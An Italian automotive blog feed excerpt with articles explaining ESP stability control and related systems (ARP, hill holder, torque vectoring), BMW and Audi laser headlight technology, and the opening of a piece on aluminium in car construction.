		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Le autovetture moderne da qualche anno sono dotate di un dispositivo che aiuta il conducente a tenere stabilmente in strada il veicolo,  quello che la grande massa conosce come ESP.  Tale sistema viene chiamato con una serie di nomenclature a seconda del paese di origine e del costruttore di auto che ne ha messo a [&#8230;]</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2014/07/22/viaggio-sistemi-sicurezza-per-lauto-lesp-sue-derivazioni/">Viaggio nei sistemi di sicurezza per l&#8217;auto, L&#8217;ESP e le sue derivazioni</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p style="text-align: center"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/images.jpg"><img decoding="async" class="alignnone size-full wp-image-42283" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/images.jpg" alt="images" width="301" height="167" title="Viaggio nei sistemi di sicurezza per l&#039;auto, L&#039;ESP e le sue derivazioni 1150"></a></p>
<p style="text-align: justify">Le autovetture moderne da qualche anno sono dotate di un dispositivo che aiuta il conducente a tenere stabilmente in strada il veicolo,  quello che la grande massa conosce come ESP.  Tale sistema viene chiamato con una serie di nomenclature a seconda del paese di origine e del costruttore di auto che ne ha messo a punto il funzionamento. Per gli inglesi si tratta dell&#8217; ESC <i style="color: #252525">Electronic Stability Control</i><span style="color: #252525">, oppure ESP <i>Elektronisches Stabilitätsprogramm</i> dal tedesco visto che sono stati i primi ad inserirlo su una vettura di serie. Oppure <i>VDC</i> <i>Vehicle Dynamic Control, </i>spesso usato sulle vetture italiane, <i> </i> <i>DSC</i> <i>Dynamic Stability Control. </i>Non resta altro che trovare sul libretto di uso e manutenzione la nomenclatura che viene usata sulla propria auto per capire se il sistema è di serie e il pulsante che lo controlla sulla plancia. In ogni caso le due icone che si trovano nella strumentazione per identificare l&#8217;accensione del sistema sono solo due e sono raffigurate sotto. </span></p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/esp.jpg"><img decoding="async" class="alignleft size-full wp-image-42284" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/esp.jpg" alt="esp" width="500" height="337" title="Viaggio nei sistemi di sicurezza per l&#039;auto, L&#039;ESP e le sue derivazioni 1151" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/esp.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/07/esp-300x202.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a>Molti addetti ai lavori pensano che l&#8217;utilizzo del ESP di serie sia dovuto ad una povera Alce Svedese. In effetti nel lontano 1998 la Mercedes con la sua inedita monovolume piccola da città incappò in fase di presentazione in una brutta figura. La Classe A venne sottoposta alla prova che si svolge in Svezia che consiste nell&#8217;evitare un Alce ad una determinata velocità senza decelerare. La piccola monovolume non riuscì a superare la prova capottando in modo rovinoso. Questo fece si che la Mercedes corresse ai ripari utilizzando un sistema che stava appena facendo capolino sulle vetture di alto di gamma. L&#8217;ESP appunto per tenere a bada il baricentro alto della piccola monovolume. Il successo fu immediato, e la diffusione dell&#8217;ESP fu anticipata di qualche anno. Oggi tutte le vetture o quasi sono dotate del sistema. Anche senza l&#8217; alce Svedese siamo sicuri che con qualche anno di ritardo come successo per L&#8217;ABS anche l&#8217;ESP sarebbe arrivato alla diffusione di massa.</p>
<p style="text-align: justify">
<a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/esp_g_3.jpg"><img decoding="async" class="alignleft size-full wp-image-42288" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/esp_g_3.jpg" alt="esp_g_3" width="500" height="290" title="Viaggio nei sistemi di sicurezza per l&#039;auto, L&#039;ESP e le sue derivazioni 1152" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/esp_g_3.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/07/esp_g_3-300x174.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a>Il sistema ESP agisce controllando la sbandata del veicolo, agendo o limitando la potenza del motore mediante l&#8217;elettronica di bordo, in più agendo sui freni usando il sistema ABS come appoggio, o addirittura usando entrambe le opzioni come nei sistemi più evoluti. Il sistema entra in funzione ogni qualvolta ci sia una manovra errata del conducente che provoca una perdita di equilibrio, come per esempio <span style="color: #252525">improvvisa deviazione di traiettoria,  il caso dell&#8217;alce, evitando che il veicolo sbandi. Inoltre può limitare fenomeni di sottosterzo e sovrasterzo quando il conducente commette un errore in fase di inserimento curva o di percorrenza della stessa. La centralina di comando utilizza le informazioni che arrivano dai 4 sensori istallati nel mozzo ruota che rilevano le velocità di ogni singola ruota. In aggiunta alle informazioni che arrivano dal sensore posto sul volante che informa della posizione dello sterzo e della intensità con cui viene azionato. Poi ci sono tre accelerometri, organi che calcolano l&#8217;accelerazione che si sviluppa per i tre assi che contraddistinguono il veicolo. C&#8217;è quello trasversale che calcola i movimenti di beccheggio in accelerazione e frenata, quello della asse longitudinale che calcola il movimento del veicolo in curva che viene detto rollio, e quello secondo l&#8217;asse in altezza del veicolo per i movimenti di imbardata tipica del testacoda. Ancora gli ESP più evoluti usano anche informazioni provenienti dalla posizione della farfalla dell&#8217;acceleratore e un sensore sul pedale del freno. La centralina di comando usa tutte le informazioni che consentono all&#8217;impianto di base dei freni e centralina di gestione motore di chiudere la potenza quando eccessiva e fare azione frenante su ogni singola ruota correggendo di fatto la sbandata frenando più o meno  seconda delle necessità le ruote per stare in traiettoria. </span></p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/esp-1-1.jpg"><img decoding="async" class="alignleft size-full wp-image-42289" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/esp-1-1.jpg" alt="esp--1-" width="500" height="218" title="Viaggio nei sistemi di sicurezza per l&#039;auto, L&#039;ESP e le sue derivazioni 1153" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/esp-1-1.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/07/esp-1-1-300x131.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a>Nel caso più particolare sono le correzioni di situazioni limite in curva come fenomeni di sottosterzo, quel particolare caso in cui il muso della vettura tende da andare dritto in curva.  Il sistema agisce sulla limitazione della coppia sulla centralina, e frena la ruota posteriore interna alla curva che si oppone tirando il muso di nuovo in traiettoria. Se invece si verifica che la coda tende a ruotare in curva superando il muso tipico del sovrasterzo, prima che si verifichi un testacoda l&#8217;ESP frena la ruota anteriore esterna alla curva un movimento completamente opposto rispetto al sottosterzo tenendo a bada la coda.</p>
<p style="text-align: justify"><span style="color: #252525"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/download.jpg"><img decoding="async" class="alignleft size-full wp-image-42290" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/download.jpg" alt="download" width="269" height="187" title="Viaggio nei sistemi di sicurezza per l&#039;auto, L&#039;ESP e le sue derivazioni 1154"></a>Nelle sue evoluzioni l&#8217;ESP può anche controllare i veicoli dal baricentro alto come suv o veicoli commerciali che per affetto dell&#8217;altezza tendono non solo a sbandare ma anche a ribaltarsi con una certa facilità. Ricordiamo a tutti che, ogni veicolo più alto di 1,40cm è sempre intrinsecamente instabile. Quindi i costruttori hanno sviluppato una variante dell&#8217; ESP chiamata ARP ovvero Active Roller Protection. In questo caso un ulteriore sensore rileva anche il sollevamento di una delle ruote dal manto stradale intervenendo come se sbandasse sulla limitazione della potenza  agendo sui freni per far ritornare in posizione il veicol.  Il sistema può anche aiutare il conducente a tenere fermo il veicolo nella partenze in salita, o nell&#8217;affrontare le discese particolarmente ripide.  L&#8217; Hill Holder,  cosi viene chiamato, utilizzando gli accelerometri,  la centralina comprende la posizione di fermo in salita e quando si toglie il piede dal freno le ruote rimangono ancora frenate fin quando non si accelera. Così come in discesa dove il sistema controlla sia la potenza frenante che la potenza del motore per una andamento sicuro e dolce. </span></p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/2010-porsche-911-turbo-ptv-porsche-torque-vectoring-illustration-photo-303651-s-1280x782.jpg"><img decoding="async" class="alignleft size-full wp-image-42291" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/2010-porsche-911-turbo-ptv-porsche-torque-vectoring-illustration-photo-303651-s-1280x782.jpg" alt="2010-porsche-911-turbo-ptv-porsche-torque-vectoring-illustration-photo-303651-s-1280x782" width="500" height="305" title="Viaggio nei sistemi di sicurezza per l&#039;auto, L&#039;ESP e le sue derivazioni 1155" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/2010-porsche-911-turbo-ptv-porsche-torque-vectoring-illustration-photo-303651-s-1280x782.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/07/2010-porsche-911-turbo-ptv-porsche-torque-vectoring-illustration-photo-303651-s-1280x782-300x183.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a>L&#8217;ESP viene abbinato di solito anche ad altri sistemi che prima venivano usati in modo indipendente. Il TC traction control, che permette al veicolo di avere la massima accelerazione senza perdite di aderenza delle gomme. In questo modo si evitano le spettacolari gomme fumanti in accelerazione e consente al pilota di pigiare l&#8217;acceleratore come un interruttore invece di parzializzare per evitare il pattinamento tanto il sistema limita potenza e frena le ruote che hanno troppa esuberanza. C&#8217;è anche il Torque Vectoring, un sistema molto in voga da un po di tempo a questa parte. Il suo compito è quello di sostituire ad un differenziale autobloccante,  efficacie per la ripartizione della coppia alle ruote in curva, ma anche costoso ed limitante per il confort, con un sistema elettronico che usando sensori e accelerometri dell&#8217;ESP frena e limita la coppia alla ruota interna alla curva per fornirla a quella esterna bilanciando le sbandate per eccesso di potenza. Gli amanti del controsterzo classica delle trazioni posteriori avranno qualche difficoltà perchè il Torque Vectoring fa tutto da solo limitando l&#8217;intervento del pilota. Ultimo ma di non poca importanza è il Trailer ESC, un sistema che permette di controllare la posizione e sbandamento di eventuali rimorchi. Molto utile per veicoli pesanti, ma anche auto dotate di roulottes e carrelli appendice. Se il rimorchio sbanda il sensore percepisce tale fenomeno, e agisce come sempre sui freni del veicolo trainante facendolo tornare in equilibrio e sicurezza.</p>
<p style="text-align: justify"><strong>Considerazioni finali</strong></p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/220px-Kontrollleuchte_ESP_2_black.svg_.png"><img decoding="async" class="alignleft size-full wp-image-42292" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/220px-Kontrollleuchte_ESP_2_black.svg_.png" alt="220px-Kontrollleuchte_ESP_2_black.svg" width="220" height="176" title="Viaggio nei sistemi di sicurezza per l&#039;auto, L&#039;ESP e le sue derivazioni 1156"></a>L&#8217;Unione Europea ha stabilito che l&#8217;ESP di base deve essere di serie su tutti i veicoli di nuova immatricolazione dal novembre 2011.  Con il susseguirsi delle norme anche altri sistemi di supporto ad esso saranno messi di serie per legge dal 2015. Rimane l&#8217;annoso problema del piacere di guida. I guidatori che hanno qualche capello grigio sicuramente storceranno il naso dopo la lettura delle capacità enormi di sicurezza che l&#8217;ESP in tutte le sue varianti comporta su un veicolo,  non si può anche non pensare che ci sono molte forse troppe limitazioni al piacere di guidare. Molti driver di esperienza hanno imparato che con il controllo ESP attivo,  tentare di correggere il veicolo anche manualmente si crea una pericolosa fase di ridondanza. In sostanza il sistema corregge e la manovra di correzione del conducente potrebbe anche</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/220px-Kontrollleuchte_ESP_black.svg_.png"><img decoding="async" class="alignleft size-full wp-image-42293" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/220px-Kontrollleuchte_ESP_black.svg_.png" alt="220px-Kontrollleuchte_ESP_black.svg" width="220" height="176" title="Viaggio nei sistemi di sicurezza per l&#039;auto, L&#039;ESP e le sue derivazioni 1157"></a>portare il veicolo a sbandare dalla parte opposta per una doppia azione che non era necessaria. Con il tempo i driver più esperti hanno imparato a coadiuvare il sistema agendo in simbiosi con esso, usandolo come aiuto piuttosto che un impedimento al piacere di guida. La vecchia cara sbandata controllata in accelerazione sarà sempre più difficile oppure paradossalmente potrebbe anche diventare alla portata di tutti. La Ferrari 459 Speciale ha un sistema che mediante il Differenziale elettronico, il Torque Vectoring, il traction control, e l&#8217;ESP risce a capire quando il pilota da troppa potenza, lasciando che la vettura perde stabilità andando di traverso ma anche controllando l&#8217;angolo di imbardata per una sbandata controllata degna dei migliori piloti esperti di questa spettacolare quanto impegnativa guida. Noi do Giornale Motori non siamo contro la tecnologia, ma vogliamo dire a tutti i nostri lettori soprattutto quelli più giovani che la sicurezza non passa per la corrente generata da un sensore elettronico che passa in un filo, ma è generata dal nostro buon senso e dal nostro cervello. La sicurezza al volante deve avere come prima sistema quello umano e della saggezza, il quale può usare più meno invasivamente quelli elettronici. Per i più ortodossi le case prevedono che il sistema ESP possa sempre essere disinserito, quindi c&#8217;è ancora una certo piacere al volante anche delle auto moderne.  Per costoro portiamo una testimonianza del Sir Frank Williams a proposito delle critiche alle sue vetture con sospensioni attive nel 1992. Il costruttore inglese disse che un pilota del valore di Ayrton Senna, un nome non a caso, nonostante tutti in controlli elettronici troverà sempre il modo per fare la differenza e usare tali sistemi a suo vantaggio meglio degli altri.</p>
<p style="text-align: center">[youtube]http://www.youtube.com/watch?v=GXnqXBAD3yE[/youtube]</p>
<p style="text-align: center">[youtube]http://www.youtube.com/watch?v=tQdFb04jwl4[/youtube]</p>
<p style="text-align: justify"><strong>Daniele Amore</strong></p>
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		<title>Scopriamo le nuove tecnologie Laserlight delle auto moderne</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Tue, 15 Jul 2014 15:34:06 +0000</pubDate>
				<category><![CDATA[Auto]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>L&#8217;evoluzione dei fari delle moderne autovetture vede un progresso tecnologico assoluto e importante arrivando alla sua ultima fase con l&#8217;adozione della spettacolare tecnologia laserlight. Nel corso degli anni si è passati dalle normali lampade con la classica luce giallognola alogena, ma anche di varia natura bianca e super bianca, via via passando per fari allo [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: center"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/Bmw-i8.jpg"><img decoding="async" class="alignnone size-full wp-image-42028" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/Bmw-i8.jpg" alt="Bmw-i8" width="500" height="375" title="Scopriamo le nuove tecnologie Laserlight delle auto moderne 1165" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/Bmw-i8.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/07/Bmw-i8-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2014/07/Bmw-i8-265x198.jpg 265w" sizes="(max-width: 500px) 100vw, 500px" /></a></p>
<p style="text-align: justify">L&#8217;evoluzione dei fari delle moderne autovetture vede un progresso tecnologico assoluto e importante arrivando alla sua ultima fase con l&#8217;adozione della spettacolare tecnologia laserlight. Nel corso degli anni si è passati dalle normali lampade con la classica luce giallognola alogena, ma anche di varia natura bianca e super bianca, via via passando per fari allo Xseno, e Bixeno.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/bmw-i8-laser-light.jpg"><img decoding="async" class="alignleft size-full wp-image-42029" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/bmw-i8-laser-light.jpg" alt="bmw-i8-laser-light" width="500" height="281" title="Scopriamo le nuove tecnologie Laserlight delle auto moderne 1166" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/bmw-i8-laser-light.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/07/bmw-i8-laser-light-300x169.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a> A tal proposito prima di spiegare come funzionano le nuove tecnologie, vogliamo spiegare come usare quelle esistenti. Molti automobilisti hanno provato ad adattare gli Xseno ai fari classici con centraline aggiuntive e modifiche aftermarket, dimenticando però che i proiettori Xseno e Bixseno hanno necessità di una parabola specicifica per avere un fascio di luce che rispetta le norme vigenti, altrimenti si rischia di abbagliare i veicoli contromano e sequestri della carta di circolazione da parte delle forze dell&#8217;ordine.  Ricordiamo infatti che per quanto si voglia e si possa migliorare il fascio di luce di un faro, la capacità e l&#8217;intensità viene comunque regolata per legge per evitare abbagliamenti pericolosi.  L&#8217;evoluzione tecnica è andata avanti passando alla tecnologia Led, e ultima arrivata sulle Audi e BMW, quella laserlight per i fari anteriori. I due marchi hanno fatto a gara per lanciare per primi sul mercato la propria tecnologia. L&#8217;Audi ha sperimentato per anni nelle competizioni la tecnologia laserlight per le sue R18 E-Tron alla 24h di Le Mans, ma chi è giunta sul mercato per prima è stata la BMW con la sua coupè ibrida I8.  Analizzeremo entrambe le tecnologie partendo proprio da quella BMW</p>
<p><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/bmw-i8-laser-light-05.jpg"><img decoding="async" class="alignleft size-full wp-image-42031" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/bmw-i8-laser-light-05.jpg" alt="bmw-i8-laser-light-05" width="500" height="354" title="Scopriamo le nuove tecnologie Laserlight delle auto moderne 1167" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/bmw-i8-laser-light-05.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/07/bmw-i8-laser-light-05-300x212.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a>BMW ha introdotto una tecnologia che permette ai nuovi fari  laser di emettere un fascio di luce di intensità  fino a 344 lux in modalità abbaglianti  ( il lux è<span style="color: #252525"> un&#8217;unità di misura relativa alla luce visibile, e pertanto dipendente dalle caratteristiche dell&#8217;occhio umano)</span>, in contrapposizione al 180 lux offerto dalle ultime fari a LED. Facendo un confronto con vecchi  fari allo xeno essi avevano 120 lux, mentre i fari alogeni tradizionali possono arrivare ad  un massimo di 100 lux però in modalità abbaglianti.  La luce creata dal proiettore di nuova generazione è emessa da diodi laser, utilizzando  un materiale fluorescente come il  fosforo. Il sistema viene descritto come monocromatico, cioè le sue onde luminose possiedono tutte la stessa lunghezza. Questo permette  una maggiore luminosità ed intensità, specialmente sulle lunghe distanze.  Gli Xseno per esempio cambiano tonalità di colore in funzione della direzione del fascio prendendo la caratteristica colorazione azzurrino.</p>
<p><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/BMW-Dynamic-Light-Spot-and-Laser-Light-technology-9.jpg"><img decoding="async" class="alignleft size-full wp-image-42030" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/BMW-Dynamic-Light-Spot-and-Laser-Light-technology-9.jpg" alt="BMW-Dynamic-Light-Spot-and-Laser-Light-technology-9" width="500" height="333" title="Scopriamo le nuove tecnologie Laserlight delle auto moderne 1168" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/BMW-Dynamic-Light-Spot-and-Laser-Light-technology-9.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/07/BMW-Dynamic-Light-Spot-and-Laser-Light-technology-9-300x200.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a>In sostanza  le proprietà monocromatiche dei nuovi proiettori laser permettono  di illuminare la strada per una distanza fino a 600 metri, mentre i led arrivavano a massimo 300 e i vecchi alogeni non oltre i 100 metri. E&#8217; chiaro come il vantaggio sta nel raddoppiare la distanza di unità LED. Le proprietà più stabili del fascio luminoso consentono una più precisa regolazione sia orizzontale che verticale per le funzioni adattive, come illuminare precise zone della carreggiata, oppure adattare  la luce abbagliante con sistemi anti-abbagliamento, proprio per rispettare le norme di cui sopra abbiamo già detto.  La  BMW  ha previsto una  intensità iniziale del fascio laser, che può raggiungere addirittura circa 400 lux, ma è stato  leggermente ridotto per diminuire i riflessi sulla segnaletica stradale riflettente. Come sempre più spesso accade la tecnologia supera il livello tecnologico delle infrastrutture stradali.  Oltre ad offrire una maggiore intensità luminosa, i nuovi proiettori laser hanno una efficienza per  il 30 per cento migliorata rispetto all&#8217; ultima generazione di proiettori a LED, che offre circa 170 lumen (unità fotometrica di emissione di luce) per watt di potenza che viene sfruttato.</p>
<p><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/2013-frankfurt-iaa-audi-618.jpg"><img decoding="async" class="alignleft size-full wp-image-42032" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/2013-frankfurt-iaa-audi-618.jpg" alt="2013-frankfurt-iaa-audi-618" width="500" height="333" title="Scopriamo le nuove tecnologie Laserlight delle auto moderne 1169" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/2013-frankfurt-iaa-audi-618.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/07/2013-frankfurt-iaa-audi-618-300x200.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a><br />
La tecnologia Audi non è da meno a quella BMW anche se con qualche distinguo nell&#8217;utilizzo della luce laser che viene abbinata nella finzione anabagliante abbinata alla luce Led migliorata nel frattempo. Infatti<span class="goog-text-highlight"> Audi con la sua prossima generazione di sportive e di vetture di lusso userà una tecnologia di illuminazione combinando la  MatrixBeam LED abbinata a  tecnologie di luce laser. </span>Due elementi trapezoidali a basso profilo sono visibili all&#8217;interno i fari, quello esterno genera la luce anabbagliante con MatrixBeam LED, mentre l&#8217;elemento interno produce luce laser per la funzionalità high-beam. I potenti diodi laser sono notevolmente più piccoli rispetto ai diodi LED. Infatti quelli laser sono solo alcuni micron di diametro. Questa tecnologia permette di illuminare la strada per una distanza di circa 500 metri.  Il laser a luce abbagliante è circa il doppio della gamma di illuminazione e tre volte la luminosità delle luci abbaglianti a LED così come per la rivale BMW.</p>
<p><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/0.jpg"><img decoding="async" class="alignleft size-full wp-image-42033" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/0.jpg" alt="0" width="500" height="375" title="Scopriamo le nuove tecnologie Laserlight delle auto moderne 1170" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/0.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/07/0-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2014/07/0-265x198.jpg 265w" sizes="(max-width: 500px) 100vw, 500px" /></a> In modalità abbagliante, assicura un fascio luminoso con una illuminazione omogenea della strada. Il sistema si affievolisce se la  luce  dovesse essere emanata direttamente su veicoli in arrivo o che  precedono. In ogni caso il fascio di luce continua ad illuminare pienamente le zone nei lati bui senza creare pericolo. Questo sistema funziona grazie gli abbaglianti  essendo suddivisi in numerosi singoli diodi emettitori di luce anche variabile. La nuova tecnologia Matrix LED si attiva da una velocità di 30 chilometri all&#8217;ora fuori dei centri abitati e da 60 km / h in città. Ciò avviene solo se l&#8217;interruttore della luce  è impostato su &#8220;automatico&#8221; ed i fari abbaglianti sono accesi. Una telecamera nel veicolo assicura che altri veicoli vengono rilevati e adatta il fascio in automatico.  La tecnologia a LED Matrix può fare ancora di più. Essa adotta  nuove funzioni, che forniscono una maggiore sicurezza. Lavorando in abbinamento con  i fanali di coda assicura una  visione notturna ottimale per tutto il veicolo. Non appena viene rilevato un pedone in un intervallo critico davanti al veicolo i singoli LED lampeggiano brevemente tre volte consecutive per avvisare la persona davanti,  rendendolo maggiormente visibile  al conducente concentrando il fascio di luce su di esso.</p>
<p><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/turnsignal.jpg"><img decoding="async" class="alignleft size-full wp-image-42034" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/turnsignal.jpg" alt="turnsignal" width="500" height="250" title="Scopriamo le nuove tecnologie Laserlight delle auto moderne 1171" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/turnsignal.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/07/turnsignal-300x150.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a> Inoltre, la Audi Matrix  LED funzionano adattando il fascio di  luce in curva. I proiettori lavorano utilizzando i  dati di percorso predittivi forniti dalla navigazione plus MMI, la messa a fuoco del fascio di luce è spostato verso la curva ancor prima che il guidatore gira il volante.  Per la prima volta, un faro LED utilizza indicatori di svolta dinamici. I LED illuminati ora lampeggiano in blocchi all&#8217;interno del faro in modo intermittente nella direzione in cui il conducente intende attivarli. L&#8217;indicatore di direzione è quindi più intuitivo ed è riconosciuto più rapidamente dagli altri conducenti.  Come si è visto entrambi i costruttori hanno dato il meglio di se nel progettare sistemi di visione che permettono di non aver nessun angolo cieco, ne di trascurare quelle che sono le problematiche della sicurezza e dell&#8217;efficienza anche nei confronti degli altri conducenti e dei pedoni. Paradossalmente di questo passo ad essere inadeguate saranno le norme e le segnaletiche che faticano ad adattarsi alle nuove tecnologie. Come sempre queste tipologie di tecnologie avanzate,  sono per ora disponibili solo su modelli di lusso e sportive ma possiamo contarci da qui a qualche anno,  prima che si pensi, saranno a disposizione anche di vetture compatte e piccole da città. In questo modo anche i costi finale per gli utenti saranno ridotti ed accessibili con una sicurezza globale migliorata per tutti.</p>
<p style="color: #303030;text-align: center">[youtube]http://www.youtube.com/watch?v=KpMas6aV6ls[/youtube]</p>
<p style="color: #303030;text-align: center">[youtube]http://www.youtube.com/watch?v=jHBbEcHW8PI[/youtube]</p>
<p><strong>Daniele Amore</strong></p>
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		<title>La lotta al peso passa attraverso la diffusione dell&#8217;alluminio</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Tue, 08 Jul 2014 16:54:48 +0000</pubDate>
				<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>I costruttori di automobili possono adottare qualsiasi metodo per rendere più efficienti motori e sistemi ibridi, ma saranno tutti sforzi vani se non dichiarano guerra al peso eccessivo delle vetture moderne. Il peso comporta che le auto hanno bisogno di più potenza per spostarsi e questo comporta un maggiore consumo. Di per se si comprende [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: center"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/jaguar_c_xf_uff_01.jpg"><img decoding="async" class="alignnone size-full wp-image-41652" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/jaguar_c_xf_uff_01.jpg" alt="jaguar_c_xf_uff_01" width="432" height="433" title="La lotta al peso passa attraverso la diffusione dell&#039;alluminio 1176" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/jaguar_c_xf_uff_01.jpg 432w, https://www.giornalemotori.com/wp-content/uploads/2014/07/jaguar_c_xf_uff_01-150x150.jpg 150w, https://www.giornalemotori.com/wp-content/uploads/2014/07/jaguar_c_xf_uff_01-300x301.jpg 300w" sizes="(max-width: 432px) 100vw, 432px" /></a></p>
<p style="text-align: justify">I costruttori di automobili possono adottare qualsiasi metodo per rendere più efficienti motori e sistemi ibridi, ma saranno tutti sforzi vani se non dichiarano guerra al peso eccessivo delle vetture moderne. Il peso comporta che le auto hanno bisogno di più potenza per spostarsi e questo comporta un maggiore consumo. Di per se si comprende come una vettura più leggera consuma di meno e il minor consumo è il migliore metodo per aiutare a ridurre le emissioni di CO2 nell&#8217;ambiente. Uno dei materiali che da sempre prima nel campo aeronautico, poi nelle auto da corsa per poi affacciarsi timidamente nella grande produzione di massa è stato l&#8217;alluminio.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/007__scaled_600.jpg"><img decoding="async" class="alignleft size-full wp-image-41653" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/007__scaled_600.jpg" alt="007__scaled_600" width="500" height="333" title="La lotta al peso passa attraverso la diffusione dell&#039;alluminio 1177" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/007__scaled_600.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/07/007__scaled_600-300x200.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a>Questo materiale, è leggero più dell&#8217;acciaio a parità di caratteristiche meccaniche, ma ha una difficoltà di lavorazione maggiore e un costo di estrazione più alto ne fa lievitare i costi e non lo rende adeguato alla grande produzione di grande serie. Una delle prime che ha sposato l&#8217;alluminio come filosofia costruttiva è stata da sempre l&#8217;Audi. Il costruttore tedesco negli anni ha sposato per prima l&#8217;utilizzo di questo prezioso materiale essendo il primo costruttore in assoluto a proporre una carrozzeria in alluminio per la grande massa con il lancio sul mercato della A2 nel 1999. Purtroppo la piccola di casa Audi è stata un flop. Non è chiaro se per le la linea poco riuscita o per il costo elevato dovuto alla tecnologia impiegata, questa piccola efficiente monovolume non ha avuto il successo che l&#8217; Audi sperava per ripagare l&#8217;investimento. Anche la BMW ci ha provato qualche anno dopo a  diffondere l&#8217;alluminio nelle sue vetture. Il modello che più di tutti ha avuto la diffusione di questo materiale fu la Serie 5 E60 prodotta nel 2010. Molte delle componenti del frontale dal telaio alla carrozzeria erano in alluminio ma i costi erano troppo elevati tanto che nella serie successiva attualmente in vendita la casa di Monaco è tornata ad usare il caro vecchio acciaio per le stesse parti.  Diverso l&#8217;approccio di Mercedes.</p>
